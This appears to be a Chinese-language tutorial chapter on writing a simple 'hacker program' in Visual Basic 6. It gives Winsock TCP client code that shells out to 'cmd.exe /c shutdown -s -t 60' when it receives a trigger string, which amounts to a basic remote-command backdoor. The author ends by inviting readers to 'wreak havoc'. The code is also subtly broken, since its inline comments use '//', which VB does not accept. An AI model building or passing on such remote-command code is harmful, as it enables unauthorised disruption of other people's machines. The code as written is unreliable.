在本章節會講解如何製作出一個簡易的完整黑客程序
1.簡單的Shutdown指令
這是一個Dos指令
要了解通訊後 如何對遠端電腦進行指令,用這個在好不過說明了
Shutdown -s -t 60
這是代表一個 自動關機 60秒後
-s 是參數 關機
-t 是代表秒數
2.開始了解代碼
Private Sub Command1_Click()
tcpClient.SendData Send.Text
End Sub
Private Sub Command2_Click()
tcpClient.Connect
End Sub
Private Sub Form_Load()
tcpClient.Protocol = sckTCPProtocol
tcpClient.RemotePort = 10
tcpClient.RemoteHost = "127.0.0.1" //服務端的IP
End Sub
Private Sub tcpClient_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
tcpClient.GetData Data
Output.Text = Data
End Sub
這是在VB 網路1對1聊天室中的客戶端代碼
Private Sub Command1_Click()
tcpClient.SendData Send.Text //傳送數據至服務端電腦
End Sub
Private Sub Command2_Click()
tcpClient.Connect //連線
End Sub
Private Sub Form_Load()
tcpClient.Protocol = sckTCPProtocol //TCP協定
tcpClient.RemotePort = 10 // 連接10端口
tcpClient.RemoteHost = "127.0.0.1" //服務端的IP
End Sub
Private Sub tcpClient_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
tcpClient.GetData Data //接收數據
If Data = "shutdownst60" then //如果傳入的數據資料是shutdownst60
Shell "cmd.exe /c shutdown -s -t 60" //就執行這個指令
End If
Output.Text = Data //將數據傳入Output
End Sub
是不是很簡單??
如果要處理多組 則不用If迴圈
使用Select...Case 來的方便多
現在你可以大肆破壞
下章見
留言列表